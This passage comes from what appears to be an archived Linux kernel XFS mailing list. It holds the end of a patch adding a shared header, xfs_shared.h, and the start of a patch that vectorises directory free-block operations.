XFS_TRANS_SB_REXTSIZE 0x00000200 -#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 -#define XFS_TRANS_SB_RBLOCKS 0x00000800 -#define XFS_TRANS_SB_REXTENTS 0x00001000 -#define XFS_TRANS_SB_REXTSLOG 0x00002000 - -/* - * Here we centralize the specification of XFS meta-data buffer - * reference count values. This determine how hard the buffer - * cache tries to hold onto the buffer. - */ -#define XFS_AGF_REF 4 -#define XFS_AGI_REF 4 -#define XFS_AGFL_REF 3 -#define XFS_INO_BTREE_REF 3 -#define XFS_ALLOC_BTREE_REF 2 -#define XFS_BMAP_BTREE_REF 2 -#define XFS_DIR_BTREE_REF 2 -#define XFS_INO_REF 2 -#define XFS_ATTR_BTREE_REF 1 -#define XFS_DQUOT_REF 1 - -/* - * Flags for xfs_trans_ichgtime(). - */ -#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ -#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ -#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ - - -/* * Inode Log Item Format definitions. * * This is the structure used to lay out an inode log item in the @@ -797,7 +625,6 @@ typedef struct xfs_qoff_logformat { char qf_pad[12]; /* padding for future */ } xfs_qoff_logformat_t; - /* * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. */ @@ -849,8 +676,4 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; -int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); -int xfs_log_calc_minimum_size(struct xfs_mount *); - - #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index cc17987..908478b 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c index bbcec0b..0961310 100644 --- a/fs/xfs/xfs_log_rlimit.c +++ b/fs/xfs/xfs_log_rlimit.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_ag.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 5dcc680..9515f96 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 3e6c2e6..dc2d4f7 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 8174aad..dcf345a 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -21,6 +21,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index e7d84d2..84661d4 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -154,6 +154,4 @@ extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, xfs_dqid_t, uint, uint, char *); extern int xfs_mount_reset_sbqflags(struct xfs_mount *); -extern const struct xfs_buf_ops xfs_dquot_buf_ops; - #endif /* __XFS_QUOTA_H__ */ diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 6f9e63c..6f63de3 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 6835b44..35061d4 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -699,7 +699,4 @@ extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); -extern const struct xfs_buf_ops xfs_sb_buf_ops; -extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; - #endif /* __XFS_SB_H__ */ diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h new file mode 100644 index 0000000..63c94b1 --- /dev/null +++ b/fs/xfs/xfs_shared.h @@ -0,0 +1,244 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_SHARED_H__ +#define __XFS_SHARED_H__ + +/* + * Definitions shared between kernel and userspace that don't fit into any other + * header file that is shared with userspace. + */ +struct xfs_ifork; +struct xfs_buf; +struct xfs_buf_ops; +struct xfs_mount; +struct xfs_trans; +struct xfs_inode; + +/* + * Buffer verifier operations are widely used, including userspace tools + */ +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agfl_buf_ops; +extern const struct xfs_buf_ops xfs_allocbt_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; +extern const struct xfs_buf_ops xfs_bmbt_buf_ops; +extern const struct xfs_buf_ops xfs_da3_node_buf_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct xfs_buf_ops xfs_symlink_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_inobt_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; +extern const struct xfs_buf_ops xfs_symlink_buf_ops; + +/* + * Transaction types. Used to distinguish types of buffers. These never reach + * the log. + */ +#define XFS_TRANS_SETATTR_NOT_SIZE 1 +#define XFS_TRANS_SETATTR_SIZE 2 +#define XFS_TRANS_INACTIVE 3 +#define XFS_TRANS_CREATE 4 +#define XFS_TRANS_CREATE_TRUNC 5 +#define XFS_TRANS_TRUNCATE_FILE 6 +#define XFS_TRANS_REMOVE 7 +#define XFS_TRANS_LINK 8 +#define XFS_TRANS_RENAME 9 +#define XFS_TRANS_MKDIR 10 +#define XFS_TRANS_RMDIR 11 +#define XFS_TRANS_SYMLINK 12 +#define XFS_TRANS_SET_DMATTRS 13 +#define XFS_TRANS_GROWFS 14 +#define XFS_TRANS_STRAT_WRITE 15 +#define XFS_TRANS_DIOSTRAT 16 +/* 17 was XFS_TRANS_WRITE_SYNC */ +#define XFS_TRANS_WRITEID 18 +#define XFS_TRANS_ADDAFORK 19 +#define XFS_TRANS_ATTRINVAL 20 +#define XFS_TRANS_ATRUNCATE 21 +#define XFS_TRANS_ATTR_SET 22 +#define XFS_TRANS_ATTR_RM 23 +#define XFS_TRANS_ATTR_FLAG 24 +#define XFS_TRANS_CLEAR_AGI_BUCKET 25 +#define XFS_TRANS_QM_SBCHANGE 26 +/* + * Dummy entries since we use the transaction type to index into the + * trans_type[] in xlog_recover_print_trans_head() + */ +#define XFS_TRANS_DUMMY1 27 +#define XFS_TRANS_DUMMY2 28 +#define XFS_TRANS_QM_QUOTAOFF 29 +#define XFS_TRANS_QM_DQALLOC 30 +#define XFS_TRANS_QM_SETQLIM 31 +#define XFS_TRANS_QM_DQCLUSTER 32 +#define XFS_TRANS_QM_QINOCREATE 33 +#define XFS_TRANS_QM_QUOTAOFF_END 34 +#define XFS_TRANS_SB_UNIT 35 +#define XFS_TRANS_FSYNC_TS 36 +#define XFS_TRANS_GROWFSRT_ALLOC 37 +#define XFS_TRANS_GROWFSRT_ZERO 38 +#define XFS_TRANS_GROWFSRT_FREE 39 +#define XFS_TRANS_SWAPEXT 40 +#define XFS_TRANS_SB_COUNT 41 +#define XFS_TRANS_CHECKPOINT 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 +/* new transaction types need to be reflected in xfs_logprint(8) */ + +#define XFS_TRANS_TYPES \ + { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ + { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ + { XFS_TRANS_INACTIVE, "INACTIVE" }, \ + { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ + { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ + { XFS_TRANS_REMOVE, "REMOVE" }, \ + { XFS_TRANS_LINK, "LINK" }, \ + { XFS_TRANS_RENAME, "RENAME" }, \ + { XFS_TRANS_MKDIR, "MKDIR" }, \ + { XFS_TRANS_RMDIR, "RMDIR" }, \ + { XFS_TRANS_SYMLINK, "SYMLINK" }, \ + { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ + { XFS_TRANS_GROWFS, "GROWFS" }, \ + { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ + { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ + { XFS_TRANS_WRITEID, "WRITEID" }, \ + { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ + { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ + { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ + { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ + { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ + { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ + { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ + { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ + { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ + { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ + { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ + { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ + { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ + { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ + { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ + { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ + { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ + { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ + { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ + { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ + { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ + { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ + { XFS_TRANS_DUMMY1, "DUMMY1" }, \ + { XFS_TRANS_DUMMY2, "DUMMY2" }, \ + { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } + +/* + * This structure is used to track log items associated with + * a transaction. It points to the log item and keeps some + * flags to track the state of the log item. It also tracks + * the amount of space needed to log the item it describes + * once we get to commit processing (see xfs_trans_commit()). + */ +struct xfs_log_item_desc { + struct xfs_log_item *lid_item; + struct list_head lid_trans; + unsigned char lid_flags; +}; + +#define XFS_LID_DIRTY 0x1 + +/* log size calculation functions */ +int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); +int xfs_log_calc_minimum_size(struct xfs_mount *); + + +/* + * Values for t_flags. + */ +#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ +#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ +#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ +#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ +#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ +#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ +#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer + count in superblock */ +/* + * Values for call flags parameter. + */ +#define XFS_TRANS_RELEASE_LOG_RES 0x4 +#define XFS_TRANS_ABORT 0x8 + +/* + * Field values for xfs_trans_mod_sb. + */ +#define XFS_TRANS_SB_ICOUNT 0x00000001 +#define XFS_TRANS_SB_IFREE 0x00000002 +#define XFS_TRANS_SB_FDBLOCKS 0x00000004 +#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 +#define XFS_TRANS_SB_FREXTENTS 0x00000010 +#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 +#define XFS_TRANS_SB_DBLOCKS 0x00000040 +#define XFS_TRANS_SB_AGCOUNT 0x00000080 +#define XFS_TRANS_SB_IMAXPCT 0x00000100 +#define XFS_TRANS_SB_REXTSIZE 0x00000200 +#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 +#define XFS_TRANS_SB_RBLOCKS 0x00000800 +#define XFS_TRANS_SB_REXTENTS 0x00001000 +#define XFS_TRANS_SB_REXTSLOG 0x00002000 + +/* + * Here we centralize the specification of XFS meta-data buffer reference count + * values. This determine how hard the buffer cache tries to hold onto the + * buffer. + */ +#define XFS_AGF_REF 4 +#define XFS_AGI_REF 4 +#define XFS_AGFL_REF 3 +#define XFS_INO_BTREE_REF 3 +#define XFS_ALLOC_BTREE_REF 2 +#define XFS_BMAP_BTREE_REF 2 +#define XFS_DIR_BTREE_REF 2 +#define XFS_INO_REF 2 +#define XFS_ATTR_BTREE_REF 1 +#define XFS_DQUOT_REF 1 + +/* + * Flags for xfs_trans_ichgtime(). + */ +#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ +#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ +#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ + + +/* + * Symlink decoding/encoding functions + */ +int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); +int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); + +#endif /* __XFS_SHARED_H__ */ diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 1b1e4df..45befbe 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f622a97..8df7144 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index 01c85e3..4251cd8 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_ag.h" diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c index 5d7b3e4..2970539 100644 --- a/fs/xfs/xfs_trace.c +++ b/fs/xfs/xfs_trace.c @@ -17,8 +17,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 5411e01..3693ce2 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index 8c75b8f..0167a65 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index 54ee3c5..4d630d2 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ b/fs/xfs/xfs_trans_dquot.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans_extfree.c b/fs/xfs/xfs_trans_extfree.c index 8d71b16..3bfb98b 100644 --- a/fs/xfs/xfs_trans_extfree.c +++ b/fs/xfs/xfs_trans_extfree.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c index e6601c1..9ffa83f 100644 --- a/fs/xfs/xfs_trans_inode.c +++ b/fs/xfs/xfs_trans_inode.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index a65a3cc..b5d952d 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans_resv.h" #include "xfs_trans.h" -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F9B27F54 for ; Sun, 29 Sep 2013 22:07:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5324D304032 for ; Sun, 29 Sep 2013 20:07:32 -0700 (PDT) X-ASG-Debug-ID: 1380510445-04cb6c153d159b0a0003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id W7OSaxTFtmeoB53B for ; Sun, 29 Sep 2013 20:07:29 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwGk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lv-SG for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Ca-RZ for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 14/16] xfs: vectorise directory leaf operations Date: Mon, 30 Sep 2013 13:07:11 +1000 X-ASG-Orig-Subj: [PATCH 14/16] xfs: vectorise directory leaf operations Message-Id: <1380510433-8353-15-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510449 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Next step in the vectorisation process is the directory free block encode/decode operations. There are relatively few of these, though there are quite a numberof calls to them. Binary sizes: text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 789005 96802 1096 886903 d8997 fs/xfs/xfs.o.p4 789061 96802 1096 886959 d88af fs/xfs/xfs.o.p5 789733 96802 1096 887631 d8b4f fs/xfs/xfs.o.p6 791421 96802 1096 889319 d91e7 fs/xfs/xfs.o.p7 791701 96802 1096 889599 d92ff fs/xfs/xfs.o.p8 Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_format.c | 92 ++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 39 --------------------- fs/xfs/xfs_dir2.h | 5 +++ fs/xfs/xfs_dir2_leaf.c | 2 +- fs/xfs/xfs_dir2_node.c | 61 +++++++++++++++++---------------- 5 files changed, 129 insertions(+), 70 deletions(-) diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index d81cff7..a76b044e 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -629,6 +629,80 @@ xfs_da3_node_hdr_to_disk( /* * Directory free space block operations */ +static int +xfs_dir2_free_hdr_size(void) +{ + return sizeof(struct xfs_dir2_free_hdr); +} + +static int +xfs_dir2_free_max_bests(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir2_free_hdr_size()) / + sizeof(xfs_dir2_data_off_t); +} + +static __be16 * +xfs_dir2_free_bests_p(struct xfs_dir2_free *free) +{ + return (__be16 *)((char *)free + xfs_dir2_free_hdr_size()); +} + +/* + * Convert data space db to the corresponding free db. + */ +static xfs_dir2_db_t +xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir2_free_max_bests(mp); +} + +/* + * Convert data space db to the corresponding index in a free db. + */ +static int +xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return db % xfs_dir2_free_max_bests(mp); +} + +static int +xfs_dir3_free_hdr_size(void) +{ + return sizeof(struct xfs_dir3_free_hdr); +} + +static int +xfs_dir3_free_max_bests(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir3_free_hdr_size()) / + sizeof(xfs_dir2_data_off_t); +} + +static __be16 * +xfs_dir3_free_bests_p(struct xfs_dir2_free *free) +{ + return (__be16 *)((char *)free + xfs_dir3_free_hdr_size()); +} + +/* + * Convert data space db to the corresponding free db. + */ +static xfs_dir2_db_t +xfs_dir3_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); +} + +/* + * Convert data space db to the corresponding index in a free db. + */ +static int +xfs_dir3_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return db % xfs_dir3_free_max_bests(mp); +} + static void xfs_dir2_free_hdr_from_disk( struct xfs_dir3_icfree_hdr *to, @@ -721,6 +795,14 @@ const struct xfs_dir_ops xfs_dir2_ops = { .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, + + .free_hdr_size = xfs_dir2_free_hdr_size, + .free_hdr_to_disk = xfs_dir2_free_hdr_to_disk, + .free_hdr_from_disk = xfs_dir2_free_hdr_from_disk, + .free_max_bests = xfs_dir2_free_max_bests, + .free_bests_p = xfs_dir2_free_bests_p, + .db_to_fdb = xfs_dir2_db_to_fdb, + .db_to_fdindex = xfs_dir2_db_to_fdindex, }; const struct xfs_dir_ops xfs_dir2_ftype_ops = { @@ -761,8 +843,13 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, + .free_hdr_size = xfs_dir2_free_hdr_size, .free_hdr_to_disk = xfs_dir2_free_hdr_to_disk, .free_hdr_from_disk = xfs_dir2_free_hdr_from_disk, + .free_max_bests = xfs_dir2_free_max_bests, + .free_bests_p = xfs_dir2_free_bests_p, + .db_to_fdb = xfs_dir2_db_to_fdb, + .db_to_fdindex = xfs_dir2_db_to_fdindex, }; const struct xfs_dir_ops xfs_dir3_ops = { @@ -803,8 +890,13 @@ const struct xfs_dir_ops xfs_dir3_ops = { .node_hdr_from_disk = xfs_da3_node_hdr_from_disk, .node_tree_p = xfs_da3_node_tree_p, + .free_hdr_size = xfs_dir3_free_hdr_size, .free_hdr_to_disk = xfs_dir3_free_hdr_to_disk, .free_hdr_from_disk = xfs_dir3_free_hdr_from_disk, + .free_max_bests = xfs_dir2_free_max_bests, + .free_bests_p = xfs_dir3_free_bests_p, + .db_to_fdb = xfs_dir3_db_to_fdb, + .db_to_fdindex = xfs_dir3_db_to_fdindex, }; const struct xfs_dir_ops xfs_dir2_nondir_ops = { diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index 1ff7b9f..a19d3f8 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -704,45 +704,6 @@ struct xfs_dir3_icfree_hdr { }; -static inline int -xfs_dir3_free_hdr_size(struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return sizeof(struct xfs_dir3_free_hdr); - return sizeof(struct xfs_dir2_free_hdr); -} - -static inline int -xfs_dir3_free_max_bests(struct xfs_mount *mp) -{ - return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / - sizeof(xfs_dir2_data_off_t); -} - -static inline __be16 * -xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) -{ - return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); -} - -/* - * Convert data space db to the corresponding free db. - */ -static inline xfs_dir2_db_t -xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); -} - -/* - * Convert data space db to the corresponding index in a free db. - */ -static inline int -xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return db % xfs_dir3_free_max_bests(mp); -} - /* * Single block format. * diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 6119534..4264cb9 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -92,10 +92,15 @@ struct xfs_dir_ops { struct xfs_da_node_entry * (*node_tree_p)(struct xfs_da_intnode *dap); + int (*free_hdr_size)(void); void (*free_hdr_to_disk)(struct xfs_dir2_free *to, struct 